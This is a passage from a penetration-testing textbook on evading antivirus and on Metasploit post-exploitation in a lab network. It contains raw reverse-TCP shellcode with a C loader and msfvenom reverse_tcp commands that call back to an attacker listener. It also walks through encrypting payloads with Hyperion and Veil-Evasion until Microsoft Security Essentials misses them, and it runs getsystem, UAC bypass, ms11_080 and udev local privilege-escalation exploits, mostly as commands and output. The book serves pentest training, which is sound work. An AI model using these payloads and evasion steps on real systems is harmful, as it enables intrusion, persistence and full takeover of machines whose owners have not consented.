"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\x0a\x00\x01\x09\x68\x02\x00\x09\x29\x89\xe6\x6a\x10"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";
int main(void)
{
((void (*)())shellcode)();
}
Listing 12-7: Finished custom C file

Now we need to compile the C program. We can’t use the built-in
GCC program because it would compile our program to run on Linux systems, and we want to run it on a 32-bit Windows system. Instead, we’ll use the Mingw32 cross compiler from the Kali Linux repositories , which we installed in Chapter 1. If you haven’t already installed it, install it with apt-get install mingw32, and then compile your custom C file with i586-mingw32msvc-gcc. (Other than the program name, the syntax for using the cross compiler is the same as for Linux’s built-in GCC, discussed in Chapter 3.)

268 Chapter 12

root@kali:~# i586-mingw32msvc-gcc -o custommeterpreter.exe custommeterpreter.c

Now upload the resulting executable to VirusTotal. As of this writing,
18 antivirus products detected the malicious file. That’s an improvement, but Microsoft Security Essentials is still catching our file.
We still need to work a little harder to get a malicious executable onto our Windows 7 system. (You could have better success with this technique with another cross compiler from another repository.)

Encrypting Executables with Hyperion
Another way to obfuscate our payload is to encrypt it. One executable encrypter is Hyperion, which uses Advanced Execution Standard (AES) encryption, a current industry standard. After encrypting the executable,
Hyperion throws away the encryption keys. When the executable runs, it brute-forces the encryption key to decrypt itself back to the original executable. If you have any background in cryptography, this process should raise a lot of red flags. AES is currently considered a secure encryption standard.
If the executable doesn’t have access to the encryption key, it should not be able to brute-force the key in any reasonable amount of time, certainly not fast enough for our program to run in the time window of our pentest.
What’s going on?
As it turns out, Hyperion greatly reduces the possible keyspace for the encryption key, which means that binaries encrypted with it shouldn’t be considered cryptographically secure. However, because our goal and the goal of the Hyperion authors is to obfuscate the code to bypass antivirus detection, the fact that the key can be brute-forced is not a problem.
Let’s start by using Hyperion to encrypt at simple Meterpreter executable with no additional antivirus avoidance techniques, as shown in Listing 12-8.
(We installed Hyperion in Chapter 1 on page 21). root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -f exe > meterpreter.exe root@kali:~# cd Hyperion-1.0/ root@kali:~/Hyperion-1.0# wine ../hyperion ../meterpreter.exe bypassavhyperion.exeu
Opening ../bypassav.exe
Copied file to memory: 0x117178
--snip-Executing fasm.exe flat assembler version 1.69.31
5 passes, 0.4 seconds, 92672 bytes.
Listing 12-8: Running Hyperion

Bypassing Antivirus Applications 269

Hyperion was written to run on Windows systems, but we can run it on Kali Linux with the Wine program, as you can see in Listing 12-8. Be sure to change into the Hyperion directory created when you unzipped the source before running hyperion.exe with Wine.
Hyperion takes two arguments: the name of the file to encrypt and the name of the encrypted output file. Run Hyperion to encrypt the simple Meterpreter executable as shown at u. The resulting file is in the
Hyperion 1.0 directory, so upload it to VirusTotal from there.
Using just a Meterpreter executable generated with Msfvenom (with no encoding, custom templates, or anything else) and encrypting it with
Hyperion resulted in 27 antivirus programs in VirusTotal detecting the malicious behavior. That’s not our lowest detection rate yet, but we have finally achieved our goal. As shown in Figure 12-8, Microsoft Security
Essentials did not detect any malicious activity!

Figure 12-8: Microsoft Security Essentials does not detect malware.

Sure enough, we can download and run the Hyperion-encrypted executable on the Windows 7 system with antivirus protection and get a
Meterpreter session. We haven’t achieved a 0 percent detection rate—the holy grail for antivirus bypass researchers—but we have been able to meet our pentest goals.
Note

To lower our detection rate even more, try combining Hyperion encryption with other techniques from this section. For example, using Hyperion with a custom template dropped my detection number down to 14.

Evading Antivirus with Veil-Evasion
Even though we have successfully reached our goal of bypassing Microsoft
Security Essentials on Windows 7, the antivirus landscape changes rapidly, so it is worthwhile to keep abreast of the latest tools and techniques. VeilEvasion is a Python framework that automates creating antivirus-evading payloads, giving users the choice of multiple techniques. We covered installing Veil-Evasion on Kali Linux in Chapter 1 on page 21; refer back if you need a refresher.
Note

270 Chapter 12

As updates are made to Veil-Evasion, your version may be different from what is shown here.

Python Shellcode Injection with Windows APIs
Previously we looked at using a custom C template to compile and execute shellcode. We can do something similar with Python’s Ctypes library, which gives us access to Windows API function calls and can create C-compatible data types. We can use Ctypes to access the Windows API VirtualAlloc, which creates a new executable memory region for the shellcode and locks the memory region in physical memory, to avoid a page fault as shellcode is copied in and executed. RtlMoveMemory is used to copy the shellcode bytes into the memory region created by VirtualAlloc. The CreateThread API creates a new thread to run the shellcode, and finally, WaitForSingleObject waits until the created thread is finished and our shellcode has finished running.
These steps collectively are referred to as the VirtualAlloc injection method. This method, of course, would give us a Python script rather than a Windows executable, but you can use multiple tools to convert a Python script into a stand-alone executable.
Creating Encrypted Python-Generated Executables with Veil-Evasion
One of the methods implemented in Veil-Evasion uses the Python injection technique described earlier. To provide further antivirus protection,
Veil-Evasion can use encryption. For our example, we will use Python
VirtualAlloc injection combined with AES encryption, as we did in the
Hyperion example earlier in this chapter.
To start Veil-Evasion, change directories to Veil-Evasion-master and run
./Veil-Evasion.py. You should be presented with a menu-based prompt similar to those we saw in SET in the previous chapter, as shown in List­ ng 12-9. i root@kali:~/Veil-Evasion-master# ./Veil-Evasion.py
========================================================================
Veil-Evasion | [Version]: 2.6.0
========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
========================================================================
Main Menu
28 payloads loaded
Available commands: use info list update clean checkvt exit use a specific payload information on a specific payload list available payloads update Veil to the latest version clean out payload folders check payload hashes vs. VirusTotal exit Veil

Listing 12-9: Running Veil

Bypassing Antivirus Applications 271

To see all the available payloads in Veil-Evasion, enter list at the prompt, as shown in Listing 12-10.
[>] Please enter a command: list
Available payloads:
1)
auxiliary/coldwar_wrapper
2)
auxiliary/pyinstaller_wrapper
--snip-22)
u23)
24)
25)
26)
27)
28)

python/meterpreter/rev_tcp python/shellcode_inject/aes_encrypt python/shellcode_inject/arc_encrypt python/shellcode_inject/base64_substitution python/shellcode_inject/des_encrypt python/shellcode_inject/flat python/shellcode_inject/letter_substitution

Listing 12-10: Veil-Evasion payloads

As of this writing, there are 28 ways to create executables implemented in
Veil-Evasion. For this example, choose option 23 u to use the VirtualAlloc injection method and encrypt it with AES encryption. Once you choose a method, Veil-Evasion will prompt you to change the method options from the default, if desired, as shown in Listing 12-11.
[>] Please enter a command: 23
Payload: python/shellcode_inject/aes_encrypt loaded
Required Options:
Name
---ucompile_to_exe expire_paylo vinject_method use_pyherion Current Value
------------Y
X
Virtual
N

Description
----------Compile to an executable
Optional: Payloads expire after "X" days
Virtual, Void, Heap
Use the pyherion encrypter

Available commands: set info generate back exit set a specific option value show information about the payload generate payload go to the main menu exit Veil

Listing 12-11: Using Python VirtualAlloc in Veil-Evasion

272 Chapter 12

By default, this payload will compile the Python script into an executable u using VirtualAlloc() as the injection method v. These options are correct for our example, so enter generate at the prompt. You are then prompted for details about the shellcode, as shown in Listing 12-12.
[?] Use msfvenom or supply custom shellcode?
1 - msfvenom (default)
2 - Custom
[>] Please enter the number of your choice: 1
[*]
[*]
[>]
[>]
[>]
[>]

Press [enter] for windows/meterpreter/reverse_tcp
Press [tab] to list available payloads
Please enter metasploit payload:
Enter value for 'LHOST', [tab] for local IP: 192.168.20.9
Enter value for 'LPORT': 2345
Enter extra msfvenom options in OPTION=value syntax:

[*] Generating shellcode...
[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: meterpreterveil
[?] How would you like to create your payload executable?
1 - Pyinstaller (default)
2 - Py2Exe
[>] Please enter the number of your choice: 1
--snip-[*] Executable written to: /root/veil-output/compiled/meterpreterveil.exe
Language:
python
Payload:
AESEncrypted
Shellcode:
windows/meterpreter/reverse_tcp
Options:
LHOST=192.168.20.9 LPORT=2345
Required Options: compile_to_exe=Y inject_method=virtual use_pyherion=N
Payload File:
/root/veil-output/source/meterpreterveil.py
Handler File:
/root/veil-output/handlers/meterpreterveil_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
Listing 12-12: Generating the executable in Veil-Evasion

Veil-Evasion prompts you to select either Msfvenom to generate the shellcode or to provide custom shellcode. For our purposes, choose
Msfvenom. The default payload is windows/meterpreter/reverse_tcp, so press enter to select it. You should be prompted for the usual options, LHOST and

Bypassing Antivirus Applications 273

LPORT, and for a filename for the generated executable. Finally, Veil-Evasion offers two Python to executable methods. Choose the default, Pyinstaller,

to have Veil-Evasion generate the malicious executable and save it to the veil-output/compiled directory.
As of this writing, the resulting executable sails right past Microsoft
Security Essentials on our Windows 7 box. Veil-Evasion notes that you shouldn’t upload the resulting executable to online scanners, so at the author’s request we’ll forgo checking this example with VirusTotal.
However, we can install other antivirus solutions besides Microsoft
Security Essentials to see if the executable is flagged.
Note

If you find the Veil-Evasion executables aren’t working, you might need to update
Metasploit with Msfupdate. Since Veil-Evasion is not currently in the Kali Linux repos, the latest version you pull down when you set up may not match up with how
Msfvenom works in the default Kali 1.0.6 install. Of course, if you update Metasploit with Msfupdate, other exercises in this book may change, as Metasploit’s functionality changes frequently. Therefore, you may want to save this exercise for a second pass through the book or use a second Kali Linux image if you don’t want the update to affect later exercises in the book.

Hiding in Plain Sight
Perhaps the best way to avoid antivirus programs is to avoid traditional payloads altogether. If you are familiar with coding for Windows, you can use
Windows APIs to mimic the functionality of a payload. There is, of course, no rule that legitimate applications cannot open a TCP connection to another system and send data—essentially what our windows/meterpreter/reverse_tcp payload is doing.
You may find that instead of generating the payload with Msfvenom and attempting to hide it with the methods covered in this chapter, you get even better results just writing a C program that performs the payload functionality you want. You can even invest in a code-signing certificate to sign your binary executable, to make it look even more legitimate. note Turn Real-time protection in Microsoft Security Essentials back off before moving on to post exploitation.

Summary
We’ve looked at only a few techniques for bypassing antivirus detection in this chapter. The topic of bypassing antivirus solutions could take up an entire book, and by the time it was published, the book would already be wildly out of date. Pentesters and researchers are constantly coming up with new techniques to sneak past antivirus detection, and antivirus vendors are always adding new signatures and heuristics to catch them.

274 Chapter 12

We looked at ways to use Metasploit to encode and embed payloads in legitimate executables. When we found that these techniques weren’t enough to evade Microsoft Security Essentials, we turned to techniques beyond Metasploit. We built a custom executable template and found that we were able to improve our results by combining techniques.
We were finally able to reach our goal of bypassing Microsoft Security
Essentials using Hyperion. Though we never reached a 0 percent detection rate, we were able to bypass Microsoft Security Essentials as well as several other top antivirus solutions. We also looked at another tool, Veil-Evasion, which uses VirtualAlloc injection combined with encryption for even better evasion. Having looked at a lot of ways to get onto systems, even ones without readily apparent vulnerabilities, we’ll now turn our attention to what we can do once we penetrate a system, as we enter the post-exploitation stage of pentesting. Bypassing Antivirus Applications 275

13

Pos t E x ploitat ion

We’ve gained access to our target systems, so our penetration test is over, right? We can tell our client that we got a shell on their systems.
But so what? Why would the client care?
In the post-exploitation phase, we will look at information gathering on the exploited systems, privilege escalation, and moving from system to system. Perhaps we’ll find that we can access sensitive data stored on the exploited system or that we have network access to additional systems that we can use to gain further access to company data. Maybe the exploited system is part of a domain, and we can use it to access other systems on the domain. These are just a few of the potential avenues open to us in post exploitation. Post exploitation is arguably the most important way to get a clear picture of a client’s security posture. For example, in Chapter 9, I mentioned a pentest in which I used access to a decommissioned Windows 2000 domain controller to gain complete administrative control over a domain. If I hadn’t used post-exploitation techniques, I might have instead concluded that the
Windows 2000 system stored no sensitive information and that it wasn’t

connected to other systems in a domain. My pentest would not have been nearly as successful, and my client wouldn’t have gotten as good of a picture of their vulnerabilities, especially when it came to password policies.
This chapter will cover the basics of post exploitation. As you move beyond this book and increase your skills as a pentester, you should spend a good deal of time on post exploitation. Solid post-exploitation skills differentiate good pentesters from the truly great.
Now let’s look at some of our post-exploitation options in Metasploit.

Meterpreter
We discussed Meterpreter, Metasploit’s custom payload, in Chapter 8. Now let’s dig deeper and look at some of Meterpreter’s functionality.
We’ll begin post exploitation by opening a Meterpreter session on each of our target systems. As you can see in Listing 13-1, I have a session on the
Windows XP target from the MS08-067 exploit. On the Windows 7 target,
I used a trojan executable like those we used in the previous chapter. On the Linux target, I used the TikiWiki PHP vulnerability we exploited in
Chapter 8. You can also log in to the Linux target via SSH using either the password for georgia we cracked in Chapter 9 (password) or the SSH public key we added in Chapter 8 using the open NFS share. msf > sessions -l
Active sessions
===============
Id
-1

Type
---meterpreter x86/win32

Information
----------NT AUTHORITY\SYSTEM @ BOOKXP

2

meterpreter x86/win32

Book-Win7\Georgia Weidman @ Book-Win7

3

meterpreter php/php

www-data (33) @ ubuntu

Connection
---------192.168.20.9:4444 ->
192.168.20.10:1104
(192.168.20.10)
192.168.20.9:2345 ->
192.168.20.12:49264
(192.168.20.12)
192.168.20.9:4444 ->
192.168.20.11:48308
(192.168.20.11)

Listing 13-1: Open Metasploit sessions on our targets

Start by interacting with your Windows XP session as shown here. msf post(enum_logged_on_users) > sessions -i 1

We’ve already seen a couple of Meterpreter commands throughout the book. Namely, in Chapter 9, we used hashdump to get direct access to local password hashes in on “Offline Password Attacks” on page 203. To see a list of available Meterpreter commands, enter help in the Meterpreter console. For more details about a specific command, enter command -h.
278 Chapter 13

Using the upload Command
Perhaps nothing is quite so annoying on a pentest as finding yourself on a
Windows machine without access to utilities such as wget and curl to pull down files from a web server. In Chapter 8, we saw a way to bypass this problem with TFTP, but Meterpreter easily solves the problem for us. With a simple command, help upload, we can upload files to the target, as shown in Listing 13-2. meterpreter > help upload
Usage: upload [options] src1 src2 src3 ... destination
Uploads local files and directories to the remote machine.
OPTIONS:
-h
-r

Help banner.
Upload recursively.

Listing 13-2: Meterpreter help command

This help information tells us that we can use upload to copy files from our Kali system to the Windows XP target.
For example, here’s how to upload Netcat for Windows: meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\
[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\
[*] uploaded
: /usr/share/windows-binaries/nc.exe -> C:\\nc.exe

Note

Remember to escape the backslash characters in the path with a second backslash. Also remember that if you upload anything to a target during a pentest or otherwise change the target system, record your changes so you can undo them before the engagement is over. The last thing you want to do is leave an environment more vulnerable than when you found it.

getuid
Another useful Meterpreter command is getuid. This command will tell you the name of the System user running Meterpreter. Typically, Meterpreter runs with the privileges of the exploited process or user.
For example, when we exploit an SMB server with the MS08-067 exploit, we’re running on the target with the privileges of the SMB server, namely the Windows System account, as shown here. meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

On the Windows 7 target, we social-engineered the user into running a trojaned program that connected back to Metasploit, so Meterpreter is running as the user Georgia Weidman.
Post Exploitation

279

Other Meterpreter Commands
Before moving on, take some time to work with additional Meterpreter commands. You’ll find many useful commands for local information gathering, remote control, and even spying on local users, such as keylogging and turning on a webcam from a Meterpreter session.

Meterpreter Scripts
In addition to Meterpreter commands, you can also run Meterpreter scripts from a Meterpreter console. The scripts currently available can be found in Kali at /usr/share/metasploit-framework/scripts/meterpreter. These scripts are written in Ruby, and you can write your own and submit them for inclusion in the framework. To use a Meterpreter script, enter run <script name>. Use the -h flag to see help information for a script.
When exploiting Internet Explorer in Chapter 10, we used the
AutoRunScript option to automatically run the migrate script to spawn a new process and migrate into it before the browser crashed. We can run this script directly inside Meterpreter as well. For example, entering run migrate -h, as shown in Listing 13-3, gives us information on the migrate Meterpreter script. meterpreter > run migrate -h
OPTIONS:
-f
Launch a process and migrate into the new process
-h
Help menu.
-k
Kill original process.
-n <opt> Migrate into the first process with this executable name
(explorer.exe)
-p <opt> PID to migrate to.
Listing 13-3: Migrate script help information

Because we’re not racing to beat a session before it closes, we have a few different options for which process to migrate to. We can migrate to a process by name using the -n option. For example, to migrate to the first instance of explorer.exe that Meterpreter encounters in the process list, we can use -n explorer.exe.
You can also migrate to a process by using its process ID (PID) with the
-p option. Use Meterpreter’s ps command to see a list of running processes, as shown in Listing 13-4.

280 Chapter 13

meterpreter > ps
Process List
============
PID
PPID
-----0
0
4
0
--snip-1144 1712
--snip-1204 1100

Name
---[System Process]
System

Arch
----

User
----

x86

Session
------4294967295
0

explorer.exe

x86

0

BOOKXP\georgia

wscntfy.exe

x86

0

Path
----

BOOKXP\georgia

NT AUTHORITY\SYSTEM
C:\WINDOWS\Explorer.EXE

Listing 13-4: Running process list

Explorer.exe is a solid choice. Choose PID 1144 for explorer.exe, and run the
Meterpreter migrate script as shown in Listing 13-5. meterpreter > run migrate -p 1144
[*] Migrating from 1100 to 1144...
[*] Migration completed successfully. meterpreter > getuid
Server username: BOOKXP\georgia
Listing 13-5: Running the migrate script

Meterpreter successfully migrates into the explorer.exe process. Now if the SMB server happens to become unstable or die, our Meterpreter session is safe.
If you ran the getuid command again, you would see that we are no longer running as the System user but as user georgia. This makes sense because this process belongs to the logged-in user georgia. By moving into this process, we’ve effectively dropped our privileges down to user georgia.
Let’s stay logged in as user georgia on the XP target and look at some ways to elevate our privileges to System on Windows targets and root on the
Linux target through local privilege-escalation attacks.

Metasploit Post-Exploitation Modules
So far we’ve used Metasploit modules for information gathering, vulnerability identification, and exploitation. It should come as no surprise that the framework has a plethora of useful modules for the post-exploitation phase as well. Metasploit’s post directory contains modules for local information gathering, remote control, privilege escalation, and so on, which span multiple platforms.

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For example, consider the module post/windows/gather/enum_logged_ on_users. As shown in Listing 13-6, this module will show us which users are currently logged on to the target system. Put your session in the background (with ctrl -Z or background) to return to the main Msfconsole prompt. msf > use post/windows/gather/enum_logged_on_users msf post(enum_logged_on_users) > show options
Module options (post/windows/gather/enum_logged_on_users):
Name
Current Setting Required Description
------------------ -------- ----------CURRENT true yes Enumerate currently logged on users
RECENT true yes Enumerate Recently logged on users uSESSION yes
The session to run this module on. msf post(enum_logged_on_users) > set SESSION 1
SESSION => 1 msf post(enum_logged_on_users) > exploit
[*] Running against session 1
Current Logged Users
====================
SID
User
-----S-1-5-21-299502267-308236825-682003330-1003 BOOKXP\georgia

[*] Results saved in: /root/.msf4/loot/20140324121217_default_192.168.20.10_host.users.activ
_791806.txt v
Recently Logged Users
=====================
SID
--S-1-5-18
S-1-5-19
S-1-5-20
S-1-5-21-299502267-308236825-682003330-1003

Profile Path
-----------%systemroot%\system32\config\systemprofile
%SystemDrive%\Documents and Settings\LocalService
%SystemDrive%\Documents and Settings\NetworkService
%SystemDrive%\Documents and Settings\georgia

Listing 13-6: Running a Metasploit post module

We use post modules as we do all Metasploit modules: We set the relevant options, and then enter exploit to run the module. However, in the case of post-exploitation modules, instead of setting an RHOST or SRVHOST, we need to tell Metasploit the Session ID we want to run the post-exploitation module against u. We then run the module against Session 1, the Windows
XP target.

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The module returns data telling us the user georgia is currently logged in. Metasploit automatically saves the output to a file /root/ .msf4/ loot/20140324121217_default_192.168.20.10_host.users.activ_791806.txt v.

Railgun
Railgun is an extension for Meterpreter that allows direct access to Windows
APIs. It can be used inside post-exploitation modules for Meterpreter as well as the Ruby shell (irb) in a Meterpreter session. For example, we can check if the session is running as an administrative user by directly accessing the
IsUserAnAdmin function of the shell32 Windows DLL, as shown here. Be sure to bring a session to the foreground with sessions -i <session id> first. meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "Error Message"=>"The operation completed successfully.", "return"=>true}

First, we drop into a Ruby shell with the command irb. Note that the client variable holds the Meterpreter client. Next we enter client.railgun
.shell32.IsUserAnAdmin to tell the Ruby interpreter to use Railgun on the current Meterpreter session and access the IsUserAdmin function of shell32.dll. (For additional Railgun examples, check out Metasploit post modules such as windows/gather/reverse_lookup.rb and windows/manage/download_exec.rb, which also leverage this functionality.) Enter exit to drop out of the Ruby interpreter and return to Meterpreter.

Local Privilege Escalation
In the following sections, we’ll explore examples of local privilege escalation, which involves running exploits to gain additional control of the system after exploitation.
Just like network software and client-side software, privileged local processes can be subject to exploitable security issues. Some of your attacks may not result in gaining the privileges you would like. Gaining command execution through a website, compromising a user account without administrative rights, or exploiting a listening service with limited privileges can all lead to system access, but you may find yourself still working as a limited user. To get the privileges we want, we will need to exploit further issues.

getsystem on Windows
Meterpreter’s getsystem command automates trying a series of known local privilege-escalation exploits against the target. The command’s options are shown in Listing 13-7.

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meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
Listing 13-7: getsystem help

As shown here, running getsystem with no arguments will run a series of local exploits until one succeeds or all known exploits are exhausted. To run a particular exploit, use the -t option followed by the exploit number.
Here we run getsystem on our Windows XP target with no arguments. meterpreter > getsystem
...got system (via technique 1). meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

As you can see, Meterpreter gained system privileges with the first exploit it tried. With one command, we are able to elevate our privileges from georgia to System.

Local Escalation Module for Windows
Local exploit modules in Metasploit allow you to run an exploit on an open session to gain additional access. The local privilege-escalation module exploit/windows/local/ms11_080_afdjoinleaf in Listing 13-8 exploits a (now-patched) flaw in the Afdjoinleaf function of the afd.sys Windows driver. Like post-exploitation modules, use the SESSION option to denote which open session the exploit should be run against. We’ll run the module against our Windows XP session. Unlike post modules, local exploits are exploits, so we’ll need to set a payload. If it succeeds, our exploit will open a new session with System privileges. In your Windows XP Meterpreter session, run the command rev2self to drop back down to the user georgia before using this alternative privilege-escalation technique. msf post(enum_logged_on_users) > use exploit/windows/local/ms11_080_afdjoinleaf msf exploit(ms11_080_afdjoinleaf) > show options
Module options (exploit/windows/local/ms11_080_afdjoinleaf):
Name
Current Setting Required Description
------------------ -------- ----------SESSION yes The session to run this module on.

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--snip-msf exploit(ms11_080_afdjoinleaf) > set SESSION 1
SESSION => 1 msf exploit(ms11_080_afdjoinleaf) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ms11_080_afdjoinleaf) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(ms11_080_afdjoinleaf) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Running against Windows XP SP2 / SP3
--snip-[*] Writing 290 bytes at address 0x00f70000
[*] Sending stage (751104 bytes) to 192.168.20.10
[*] Restoring the original token...
[*] Meterpreter session 4 opened (192.168.20.9:4444 -> 192.168.20.10:1108) at
2015-08-14 01:59:46 -0400 meterpreter >
Listing 13-8: Metasploit local exploit

After you enter exploit, Metasploit runs the exploit in our Windows XP session. If it succeeds, you should receive another Meterpreter session. If you run getuid on this new session, you should see that you’ve once again obtained System privileges.
Note

Remember, to succeed, local privilege-escalation attacks rely on a flaw such as a missing patch or security misconfiguration. A fully updated and locked-down system would not be vulnerable to the MS11-08 exploit because a vendor patch was released in 2011.

Bypassing UAC on Windows
Now let’s see how to escalate our privileges on our more secure Windows 7 target, which has additional security features including user account control
(UAC). Applications running on Windows Vista and higher are limited to using regular user privileges. If an application needs to use administrative privileges, an administrative user has to approve the elevation. (You’ve probably seen the warning notice from UAC when an application wants to make changes.)
Because we gained this session by having user Georgia Weidman run a malicious binary, the Meterpreter session currently has the privileges of Georgia Weidman. Try using getsystem against this target, as shown in
Listing 13-9. msf exploit(ms11_080_afdjoinleaf) > sessions -i 2
[*] Starting interaction with 2... meterpreter > getuid

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Server username: Book-Win7\Georgia Weidman meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
Listing 13-9: getsystem fails on Windows 7

As you can see, running getsystem against this target fails and gives an error message. Perhaps this system is fully patched and hardened to the point where none of the exploitation techniques in getsystem will work.
But as it turns out, our Windows 7 target has not been patched since installation; UAC is stopping getsystem from working properly.
As with any computer security control, researchers have developed multiple techniques to bypass the UAC control. One such technique is included in Metasploit in the local exploit windows/local/bypassuac. Background the session and run this exploit on your Windows 7 session, as shown in
Listing 13-10. Use the exploit module, set the SESSION option, and so on. msf exploit(ms11_080_afdjoinleaf) > use exploit/windows/local/bypassuac msf exploit(bypassuac) > show options
Module options (exploit/windows/local/bypassuac):
Name
Current Setting Required Description
------------------ -------- ----------SESSION yes The session to run this module msf exploit(bypassuac) > set SESSION 2
SESSION => 2 msf exploit(bypassuac) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] UAC is Enabled, checking level...
--snip-[*] Uploaded the agent to the filesystem....
[*] Sending stage (751104 bytes) to 192.168.20.12
[*] Meterpreter session 5 opened (192.168.20.9:4444 -> 192.168.20.12:49265) at
2015-08-14 02:17:05 -0400
[-] Exploit failed: Rex::TimeoutError Operation timed out. u meterpreter > getuid
Server username: Book-Win7\Georgia Weidman
Listing 13-10: Using a module to bypass the UAC control

The module uses a trusted publisher certificate through process injection to bypass the UAC controls. As you can see from the results of the getuid command, though our new session is still running as user Georgia
Weidman, we’re no longer restricted by UAC. If it was successful you will again be presented with a new session. Don’t worry if you see the line at u.
As long as the new Meterpreter session opens, the attack was successful.
As shown next, having gotten UAC out of the way, getsystem has no trouble gaining system privileges.

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meterpreter > getsystem
...got system (via technique 1).

Udev Privilege Escalation on Linux
We have yet to try privilege escalation on our Linux target. Let’s mix things up a bit and use public exploit code instead of Metasploit to perform a local privilege-escalation attack on Linux.
We have two ways to interact with our Linux target: via SSH and by using the TikiWiki to gain a Meterpreter shell. The Linux Meterpreter has fewer available commands than Windows Meterpreter, but in both cases we use the shell command to drop out of Meterpreter and into a regular command shell, as shown in Listing 13-11. meterpreter > shell
Process 13857 created.
Channel 0 created. whoami www-data
Listing 13-11: Dropping to a shell in Meterpreter

We see that our TikiWiki exploit gained us a session as the user www-data, a limited account for the web server, but we have a long way to get to root. We have also gained a Bash shell as the user georgia through
SSH in Chapter 8 with more privileges than www-data, but we’re still not the coveted root.
Finding a Vulnerability
We need to find a local privilege-escalation vulnerability to exploit. First, we need a bit of information about the local system, such as the version of the installed kernel and the Ubuntu version. You can find out the Linux kernel version with the command uname -a and the Ubuntu release version with the command lsb_release -a, as shown in Listing 13-12. uname -a
Linux ubuntu 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686 GNU/Linux lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 8.10
Release: 8.10
Codename: intrepid
Listing 13-12: Gathering local information

The Linux target is running Linux kernel 2.6.27-2 and Ubuntu 8.10, codename Intrepid. This Linux system is a bit out of date and is vulnerable

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to multiple known privilege-escalation issues. We’ll focus on an issue in udev, the device manager for the Linux kernel that is in charge of loading device drivers, or software that facilitates control of a device.
Vulnerability CVE-2009-1185 describes an issue in udev where the daemon, which runs with root privileges, fails to check whether requests to load drivers originate from the kernel. Processes in user space, such as ones that a user starts, can send messages to udev and convince it to run code with root privileges.
According to the SecurityFocus.com entry for this vulnerability, Ubuntu
8.10 is an affected platform, and further digging reveals that udev versions
141 and earlier are affected by this issue. We can check the udev version on our target with the command udevadm --version, but we can’t run the command with the privileges afforded by www-data. Instead, we need to run it from our SSH shell as shown here. georgia@ubuntu:~$ udevadm --version
124

The udev version on our target, 124, is earlier than 141, which tells us that our Linux target is vulnerable.
Finding an Exploit
Kali Linux includes a local repository of public exploit code from Exploitdb
.com at /usr/share/exploitdb, which includes a utility called searchsploit that we can use to search for useful code. For example, Listing 13-13 shows the results of a search for exploits related to udev. root@kali:~# /usr/share/exploitdb/searchsploit udev
Description
---------------------------------------------------------------------Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit
Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit
Linux udev Netlink Local Privilege Escalation

Path
---------------------/linux/local/8478.sh
/linux/local/8572.c
/linux/local/21848.rb

Listing 13-13: Searching the Exploitdb repository

There appear to be multiple public exploits for this issue. Let’s use the second exploit, /usr/share/exploitdb/platforms/linux/local/8572.c.
Note

Always be sure that you fully understand what public exploit code does before running it against a target. Additionally, there is always a chance that a public exploit won’t run reliably on the target. If possible, set up a lab machine, and test the quality of the exploit before you try it on the client target.
One of the great things about this exploit is that it’s well commented and provides detailed usage information. Listing 13-14 shows an excerpt from its C code, which includes usage details.

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* Usage:
*
Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*
usually is the udevd PID minus 1) as argv[1].
*
The exploit will execute /tmp/run as root so throw whatever payload you
*
want in there.
Listing 13-14: Udev exploit usage information

We learn that we need to pass the PID of the udev netlink socket as an argument to our exploit. The usage information tells us to look for this value in /proc/net/netlink, usually as udev PID minus 1. We also see that the exploit will run whatever code it finds in the file /tmp/run as root, so we need to put some code there.
Copying and Compiling the Exploit on the Target
First we need to copy the exploit to our target and compile it so that it can run. Luckily, the GCC C compiler is preinstalled on most Linux distributions, so you can often compile local exploit code directly on the target. To find out if GCC is installed, enter gcc as shown here. georgia@ubuntu:~$ gcc gcc: no input files

